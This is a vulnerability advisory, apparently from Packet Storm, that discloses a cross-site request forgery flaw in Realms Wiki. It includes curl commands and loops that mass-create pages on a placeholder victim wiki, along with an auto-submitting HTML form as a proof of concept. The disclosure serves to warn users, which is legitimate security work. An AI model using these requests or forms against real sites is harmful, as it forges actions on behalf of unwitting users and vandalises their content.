Realms Wiki suffers from a cross site request forgery vulnerability.
76698182beabf946f364524d2347cb5198c06f12b7a17d4f24120c19c10ee709CSRF in Realms Wiki
Vulnerability Report
Mar 19, 2015
Product: Realms Wiki
Website: http://realms.io/
Github: https://github.com/scragg0x/realms-wiki
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:C/A:N)
Realms Wiki is vulnerable to Cross-Site Request Forgery on all posts. Especially of concern are New, Edit, and Revert. If Realms Wiki had significant authentication mechananisms such as site administration, user administration, and so forth, these too would be vulnerable to CSRF and the harm would be increased. A command-line example of the post to create a new page is as simple as:
curl 'http://wiki.victim.example.com/test' --data 'name=test&message=passwords+and+stuff&content=%60%60%60%0A123456%0Apassword%0Alove%0Asex%0Asecret%0Agod%0A%60%60%60%0A'
To create 600 pages:
for i in $(seq 2 600); do curl -i 'http://wiki.victim.example.com/test'"$i" --data 'name=test'"$i"'&message=passwords+and+stuff&content=csrf+is+fun'"$i"; done
To create a page for every word in the dictionary:
while read word; do curl -i 'http://wiki.victim.example.com/'"$word" --data 'name='"$word"'&message=csrf&content=did+you+know+'"$word"; done </usr/share/dict/words
The repro for the CSRF is:
<html>
<body onLoad="document.forms[0].submit();">
<form action="http://wiki.victim.example.com/csrf-awesome" method="POST">
<input type="hidden" name="name" value="csrf_awesome" />
<input type="hidden" name="message" value="whatever data we want" />
<input type="hidden" name="content" value="csrf is fun 1234" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Disclosure Timeline:
Found: Thu, Mar 19, 2015
Reported to author: Thu, Mar 19, 2015
Full Disclosure: Thu, Mar 25, 2015
The reason I have chosen to advance the timeline beyond what most people consider reasonable is because I reported a difficult to exploit remote code execution vulnerability to the author on Sun, 15 Mar 2015 and heard no response. Today makes 10 days since I reported the vulnerability and I have heard nothing back. Therefore I am using full-disclosure to warn users that their sites can be CSRFed. I am also posting the remote code execution vulnerability along with this (which is lower severity due to the difficulty in exploitation).
Thanks to those who have written this wiki. It's well-written and will need some bug fixes. I plan on making many improvements to this wiki in the future.
Regards,
Javantea
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed